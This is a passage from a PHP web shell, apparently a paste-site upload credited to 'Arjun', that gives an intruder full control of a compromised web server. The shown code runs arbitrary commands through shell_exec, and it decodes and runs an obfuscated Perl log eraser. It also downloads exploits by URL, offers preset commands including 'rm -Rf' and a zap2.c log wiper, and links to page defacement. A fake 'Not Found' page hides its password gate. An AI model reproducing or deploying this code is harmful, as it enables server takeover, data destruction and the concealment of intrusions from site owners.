  4576.     echo "<br><center><font size=5>Good Bye......</font></center>";
  4577. }
  4578. else if(isset($_POST['executecmd']))
  4579. {
  4580.     if($_POST['mycmd']=="logeraser")
  4581.     {
  4582.         $erase = gzinflate(base64_decode("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"));
  4583.         if(is_writable("."))
  4584.         {  
  4585.             if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
  4586.             {
  4587.                 fwrite($openp, $erase);
  4588.                 fclose($openp);
  4589.                 passthru("perl logseraser.pl linux");
  4590.                 unlink("logseraser.pl");
  4591.                 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  4592.             }
  4593.         } else
  4594.         {
  4595.             if($openp = fopen("/tmp/logseraser.pl", 'w'))
  4596.             {
  4597.                 fwrite($openp, $erase)or die("Error");
  4598.                 fclose($openp);
  4599.                 $aidx = passthru("perl logseraser.pl linux");
  4600.                 unlink("logseraser.pl");
  4601.                 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  4602.             }
  4603.         }
  4604.     }
  4605.     else
  4606.     {
  4607.         $check = shell_exec($_POST['mycmd']);
  4608.         echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  4609.     }
  4610. }
  4611. else if(isset($_POST['changefileperms']))
  4612. {
  4613.     if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  4614.     {
  4615.         $actbox = $_POST["actbox3"];
  4616.         foreach ($actbox as $v)
  4617.         {
  4618.             $perms = 0;
  4619.             for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  4620.                 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  4621.             echo "<center><div align=left style=width:60%;>";
  4622.             if(@chmod($v,$perms))
  4623.                 echo "<blink><font size=3>File $v Permissions Changed Successfully</font></blink>";
  4624.             else
  4625.                 echo "<blink><font size=3 class=txt>Cannot Change $v File Permissions</font></blink>";
  4626.             echo "</div></center>";
  4627.         }
  4628.     }
  4629. }
  4630. else if(isset($_POST['choice']))
  4631. {  
  4632.     if($_POST['choice'] == "chmod")
  4633.     { ?>
  4634.         <form method="POST" ><?php
  4635.         $actbox1 = $_POST['actbox'];
  4636.         foreach ($actbox1 as $v)
  4637.         { ?>
  4638.             <input type="hidden" name="actbox3[]" value="<?php echo $v; ?>">
  4639.         <?php }
  4640.         ?>
  4641.             <table class=tbl align="center" border="1" style="width:40%;">
  4642.                 <tr>
  4643.                     <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  4644.                 </tr>
  4645.                 <tr>
  4646.                     <td colspan="2" align="center" style="height:60px">
  4647.             <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changefileperms"/></td>
  4648.                 </tr>
  4649.             </table>
  4650.         </form>  <?php
  4651.     }
  4652.     else if($_POST['choice'] == "delete")
  4653.     {
  4654.         $actbox = $_POST["actbox"];
  4655.         foreach ($actbox as $v)
  4656.         {
  4657.             if(is_file($v))
  4658.             {
  4659.                 if(unlink($v))
  4660.                 {
  4661.                     echo "<br><center><font class=txt size=3>File $v Deleted Successfully</font></center>";
  4662.                 }
  4663.                 else
  4664.                     echo "<br><center><font size=3>Cannot Delete File $v</font></center>";
  4665.             }  
  4666.             else if(is_dir($v))
  4667.             {
  4668.                 rrmdir($v);
  4669.                 $loc = $_SERVER['REQUEST_URI'];
  4670.                 header("Location:$loc");
  4671.                 ob_end_flush();
  4672.             }
  4673.         }
  4674.     }
  4675.     else if($_POST['choice'] == "compre")
  4676.     {
  4677.         $actbox = $_POST["actbox"];
  4678.         foreach ($actbox as $v)
  4679.         {
  4680.             if(is_file($v))
  4681.             {
  4682.                 $zip = new ZipArchive();
  4683.                 $filename= basename($v) . '.zip';
  4684.                 if(($zip->open($filename, ZipArchive::CREATE))!==true)
  4685.                 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
  4686.                 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
  4687.                 $zip->addFile(basename($v));
  4688.                 $zip->close();
  4689.             }
  4690.             else if(is_dir($v))
  4691.             {
  4692.                 if($os == "Linux")
  4693.                 {
  4694.                     $filename= basename($v);
  4695.                     execmd("tar --create --recursion --file=$filename.tar $v");
  4696.                     echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
  4697.                 }
  4698.             }
  4699.         }
  4700.     }
  4701.     else if($_POST['choice'] == "uncompre")
  4702.     {
  4703.         $actbox = $_POST["actbox"];
  4704.         foreach ($actbox as $v)
  4705.         {
  4706.              $zip = new ZipArchive;
  4707.              $filename= basename($v);
  4708.              $res = $zip->open($filename);
  4709.              if ($res === TRUE)
  4710.              {
  4711.                  $pieces = explode(".",$filename);
  4712.                  $zip->extractTo($pieces[0]);
  4713.                  $zip->close();
  4714.                  echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
  4715.              } else {
  4716.                  echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
  4717.              }
  4718.         }
  4719.     }
  4720. }
  4721. else if(isset($_POST['execute']))
  4722.     {
  4723.         $comm = $_POST['execute'];
  4724.         chdir($_POST['executepath']);
  4725.         $check = shell_exec($comm);
  4726.             echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  4727.             ?>
  4728.             <BR><BR><center><form action="<?php $self; ?>" method="post">
  4729.             <input type="hidden" name="executepath" value="<?php echo $_POST['executepath']; ?>" />
  4730.             <input type="text" class="box" name="execute">
  4731.             <input type="submit" value="Execute" class="but"></form></center>
  4732.             <?php
  4733.     }
  4734.     else if(isset($_POST['Create']))
  4735.     {
  4736.     ?>
  4737.     <form method="post">
  4738.     <input type="hidden" name="filecreator" value="<?php echo $_POST['createfile']; ?>">
  4739.         <textarea name="filecontent" rows="20" cols="100" class="box"></textarea><br />
  4740.         <input name="createmyfile" type="Submit" value="  Save " id="spacing" class="but"/>
  4741.   </form>
  4742.     <?php }
  4743. else
  4744. {
  4745.     $mydir = basename(dirname(__FILE__));
  4746.     $pdir = str_replace($mydir,"",$dir);
  4747.     $pdir = str_replace("/","",$dir);
  4748.     $files = array();
  4749.     $dirs  = array();
  4750.      $odir=opendir($dir);
  4751.      while($file = readdir($odir))
  4752.      {
  4753.        if(is_dir($dir.'/'.$file))
  4754.        {
  4755.          $dirs[]=$file;
  4756.        }
  4757.        else
  4758.        {
  4759.          $files[]=$file;
  4760.        }
  4761.      }
  4762.      $countfiles = count($dirs) + count($files);
  4763.      $dircount = count($dirs);
  4764.      $dircount = $dircount-2;
  4765. ?>
  4766.     <table style="width:95%;" align="center" cellpadding="0">
  4767.     <tr><td colspan="7" align="center"><font class="txt">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</font></td></tr>
  4768.     <tr class=file>
  4769.         <th style="width:43%;">Name</th>
  4770.         <th style="width:7%;">Size</th>
  4771.         <th style="width:6%;">Permissions</th>
  4772.     <?php if($os != "Windows"){ echo "<th style=\"width:14%;\">Owner / Group</th>"; } ?>
  4773.     <th style="width:13%;">Modification Date</th>
  4774.         <th style="width:5%;">Rename</th>
  4775.         <th style="width:6%;">Download</th>
  4776.         <th style="width:3%;">Action</th>
  4777.     </tr>
  4778. <?php
  4779.    if(isset($_GET['download']))
  4780.     {
  4781.         download();        
  4782.     }
  4783.     ?>
  4784.     <form method="post" id="myform" name="myform">
  4785.     <?php
  4786.     $dir = getcwd();
  4787.     if(isset($_GET['dir']))
  4788.     {
  4789.         $dir = $_GET['dir'];
  4790.     }
  4791.     $i = 0;
  4792.     if(is_dir($dir))
  4793.     {
  4794.         if($countfiles == 2)
  4795.             echo "<tr><td colspan=5><center><font size=3>No files or directory present or Cannot view files and directory</font></center></td></tr>";
  4796.         foreach($dirs as $val)
  4797.         {
  4798.             ?>
  4799.             <font color="#999999">
  4800.             <?php if($val == ".")
  4801.             {
  4802.                 ?><tr class="file"><td class='info'><a href='<?php echo $self; ?>'>[ . ]</a></td><td>CURDIR</td>
  4803.             <td><?php if(is_writable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="wrtperm"><?php echo getFilePermissions(getcwd());?></font></a><?php } else if(is_readable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="readperm"><?php echo getFilePermissions(getcwd());?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="noperm"><?php echo getFilePermissions(getcwd());?></font><?php } ?></td>
  4804.             <?php if($os != 'Windows')
  4805.                   {
  4806.                     echo "<td align=center><font size=2>";
  4807.                     $name=@posix_getpwuid(@fileowner($self));
  4808.                     $group=@posix_getgrgid(@filegroup($self));
  4809.                     $owner = $name['name']. " / ". $group['name'];
  4810.                     echo $owner . "</font></td>";
  4811.                 }
  4812.                      ?>
  4813.             <td><font class="txt"><?php echo date('Y-m-d H:i:s', @filemtime(getcwd())); ?></font></td>
  4814.             <td></td><td></td><td></td></</tr><?php
  4815.             }else if($val=="..") { $val = Trail($dir . $directorysperator . $val,$directorysperator); ?>
  4816.             <tr  class="file"><td class='info'><a href='<?php echo $self . "?dir=".$val; ?>'>[ .. ]</a></td><td>UPDIR</td>
  4817.             <td><?php if(is_writable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($val);?></font></a><?php } else if(is_readable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font  class="readperm"><?php echo getFilePermissions($val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font  class="noperm"><?php echo getFilePermissions($val);?></font><?php } ?></td>
  4818.             <?php   if($os != 'Windows')
  4819.                     {
  4820.                     echo "<td align=center><font size=2>";
  4821.                     $name=@posix_getpwuid(@fileowner($val));
  4822.                     $group=@posix_getgrgid(@filegroup($val));
  4823.                     $owner = $name['name']. " / ". $group['name'];
  4824.                     echo $owner . "</font></td>";
  4825.                     }  ?>
  4826.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
  4827.             <td></td><td></td><td></td></tr><?php continue; }
  4828.         }
  4829.         foreach($dirs as $val)
  4830.         {
  4831.             $i++;
  4832.             ?>
  4833.             <font color="#999999">
  4834.             <?php if($val == "." || $val == "..") continue; ?>
  4835.             <tr  class="file">
  4836.             <td class='dir'><a href='<?php echo $self ?>?dir=<?php echo $dir . $directorysperator . $val; ?>'>[ <?php echo $val; ?> ]</a></td>
  4837.             <td class='info'>DIR</td>
  4838.             <td class='info'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font  class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="noperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
  4839.                 <?php if($os != 'Windows')
  4840.                     {
  4841.                     echo "<td align=center><font size=2>";
  4842.                     $name=@posix_getpwuid(@fileowner($val));
  4843.                     $group=@posix_getgrgid(@filegroup($val));
  4844.                     $owner = $name['name']. " / ". $group['name'];
  4845.                     echo $owner . "</font></td>";
  4846.                     }  ?><td><font class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  4847.             <td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>">Rename</a></td>
  4848.             <td></td>
  4849.             <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  4850.             </tr></font>
  4851.             <?php
  4852.         }
  4853.         foreach($files as $val)
  4854.         {
  4855.              $i++;
  4856.              ?>
  4857.                    <tr class="file">
  4858.                    <td class='file'><a href='<?php echo $self ?>?open=<?php echo $dir . $directorysperator . $val; ?>'><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>";  } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href='?deface=" . $dir . $directorysperator . $val . "'><font color=red>( Deface IT )</font></a>"; } } ?></td>
  4859.                    <td class='info'><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></td>
  4860.                    <td class='info'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font  class="readperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="noperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
  4861.             <?php if($os != 'Windows')
  4862.                     {
  4863.                     echo "<td align=center><font size=2>";
  4864.                     $name=@posix_getpwuid(@fileowner($val));
  4865.                     $group=@posix_getgrgid(@filegroup($val));
  4866.                     $owner = $name['name']. " / ". $group['name'];
  4867.                     echo $owner . "</font></td>";
  4868.                     }  ?>                  
  4869.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  4870.                    <td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>">Rename</a></td>
  4871.                    <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>">Download</a>
  4872.                    <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  4873.                    </tr>
  4874.                    <p>
  4875.              <?php
  4876.         }
  4877.     }
  4878.     else
  4879.     {
  4880.         echo "<p><font size=4>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
  4881.     }
  4882. echo "</table>
  4883. <div align='right' style='width:97%;'><BR><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt>Check All </font> &nbsp;
  4884. <select class=sbox name=choice style='width: 100px;'>
  4885.             <option value=delete>Delete</option>
  4886.             <option value=chmod>Change mode</option>
  4887.             if(class_exists('ZipArchive'))
  4888.             {   <option value=compre>Compress</option>
  4889.             <option value=uncompre>Uncompress</option> }
  4890.         </select>
  4891.     <input type=submit value=Submit name=checkoption class=but></form></div>";
  4892. }
  4893. ?>
  4894. </p>
  4895. <table style="width:100%;" border="1" class="tbl">
  4896. <tr>
  4897. <td align="center">
  4898. <form method="post" enctype="multipart/form-data">
  4899.         Upload file : <br><input class="upld" type="file" name="uploadfile" class="box" size="50"><input type="hidden" name="path" value="<?php echo $dir; ?>" />&nbsp;<input type=submit value="Upload" name="u" value="u" class="but" ></form>
  4900.          <?php
  4901. if (is_writable($dir)) {
  4902.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  4903. } else {
  4904.     echo '&lt; not writable &gt;';
  4905. }
  4906.         ?>
  4907.           <br>
  4908. </td>
  4909. <td align="center" style="height:105px;">Create File :
  4910. <form method="post">
  4911. <input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile"> <input type="submit" value="Create" name="Create" class="but">
  4912. </form>
  4913. <?php
  4914. if (is_writable($dir)) {
  4915.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  4916. } else {
  4917.     echo '&lt; not writable &gt;';
  4918. }
  4919.         ?>
  4920. </td>
  4921. </tr>
  4922. <tr>
  4923. <td align="center" style="height:105px;">Execute : <form action="<?php echo $self; ?>" method="post">
  4924. <input type="hidden" name="executepath" value="<?php echo $dir; ?>" />
  4925. <input type="text" class="box" name="execute"> <input type="submit" value="Execute" class="but"></form></td>
  4926. <td align="center">Create Directory : <form method="post">
  4927. <input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder">
  4928. <input type="submit" value="Create" name="createdir" class="but">
  4929. </form><?php
  4930. if (is_writable($dir)) {
  4931.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  4932. } else {
  4933.     echo '&lt; not writable &gt;';
  4934. }
  4935. ?></td></tr>
  4936. <tr><td style="height:105px;" align="center">Get Exploit&nbsp;<form method="post" actions="<?php echo $self; ?>">
  4937. <input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c"> <input type="submit" name="uploadurl" value="  G0  " class="but"><br><br>
  4938. <input type="hidden" name="path" value="<?php echo $dir; ?>">
  4939. <select name="functiontype" class="sbox">
  4940. <option value="wwget">wget</option>
  4941. <option value="wlynx">lynx</option>
  4942. <option value="wfread">fread</option>
  4943. <option value="wfetch">fetch</option>
  4944. <option value="wlinks">links</option>
  4945. <option value="wget">GET</option>
  4946. <option value="wcurl">curl</option>
  4947. </select>
  4948. </form>
  4949. </td>
  4950. <td align="center">
  4951. <form method="post" action="<?php echo $self; ?>">
  4952. Some Commands<br>
  4953. <?php if($os != "Windows")
  4954. { ?>
  4955. <SELECT NAME="mycmd" class="box">
  4956.      <OPTION VALUE="uname -a">Kernel version
  4957.      <OPTION VALUE="w">Logged in users
  4958.      <OPTION VALUE="lastlog">Last to connect
  4959.      <option value='cat /etc/hosts'>IP Addresses
  4960.      <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
  4961.      <OPTION VALUE="logeraser">Log Eraser
  4962.      <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
  4963.      <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
  4964.      <OPTION VALUE="find / -type f -name \"config*\"">find config* files
  4965.      <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
  4966.      <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
  4967.      <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  4968.      <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  4969.      <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  4970.      <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
  4971.      <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
  4972.      <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  4973.      <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  4974.      <OPTION VALUE="ps aux">Show running proccess
  4975.      <OPTION VALUE="uptime">Uptime check
  4976.      <OPTION VALUE="cat /proc/meminfo">Memory check
  4977.      <OPTION VALUE="netstat -an | grep -i listen">Open ports
  4978.      <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  4979.      <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  4980.      <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  4981.      <OPTION VALUE="./zap2">WIPELOGS PT3
  4982.      <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
  4983.  </SELECT>
  4984.  <?php } else {?>
  4985.  <SELECT NAME="mycmd" class="box">
  4986.     <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
  4987.     <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
  4988.     <OPTION VALUE="systeminfo">System Informations
  4989.     <OPTION VALUE="net user">User accounts
  4990.     <OPTION VALUE="netstat -an">Open ports
  4991.     <OPTION VALUE="getmac">Get Mac Address
  4992.     <OPTION VALUE="net start">Show running services
  4993.     <OPTION VALUE="net view">Show computers
  4994.     <OPTION VALUE="arp -a">ARP Table
  4995.     <OPTION VALUE="tasklist">Show Process
  4996.     <OPTION VALUE="ipconfig/all">IP Configuration
  4997.  </SELECT>
  4998.  <?php } ?>
  4999. <input type="submit" value="Execute" class="but" name="executecmd">
  5000. </form>
  5001. </td>
  5002. </tr></table><br>
  5003. </td>
  5004. </tr>
  5005. </table>
  5006. <?php
  5007. //logout
  5008. if(isset($_GET['logout']))
  5009. {
  5010.     setcookie("hacked",time() - 60*60);
  5011.     header("Location:$self");
  5012.     ob_end_flush();
  5013. }  
  5014. ?>
  5015. <hr color="#1B1B1B">
  5016. <div align="center">
  5017. <span class=headtitle><font size="6">&#2343;&#2344;&#2369;&#2359;</font></span><br><span class=headtitle><font size="6">--==Coded By Arjun==--</font></span><br>
  5018. <a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font  size="6">&#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342;</font></a></div>
  5019. <?php
  5020. }  
  5021. if(isset($_POST['passwd']))
  5022. {
  5023.     if($_POST['passwd'] == $pass )
  5024.     {
  5025.          setcookie("hacked", md5($pass));
  5026.          $selfenter = $_SERVER["PHP_SELF"];
  5027.          header("Location:$selfenter");
  5028.     }
  5029. }
  5030. if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
  5031. {
  5032. ?>
  5033.  <body bgcolor="#FFFFFF">
  5034. <h1 style="color:#000000">Not Found</h1>
  5035. <p style="color:#000000">The requested URL was not found on this server.</p>
  5036. <hr>
  5037. <address style="color:#000000">Apache Server at localhost Port 80</address>
  5038.     <style>
  5039.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  5040.     </style>
  5041.     <center>
  5042.     <form method=post>
  5043.     <input type=password name=passwd>
  5044.     </form></center>
  5045. </body>
  5046. </html>
  5047. <?php  
  5048. }
  5049. ?>
Add Comment
Please, Sign In to add comment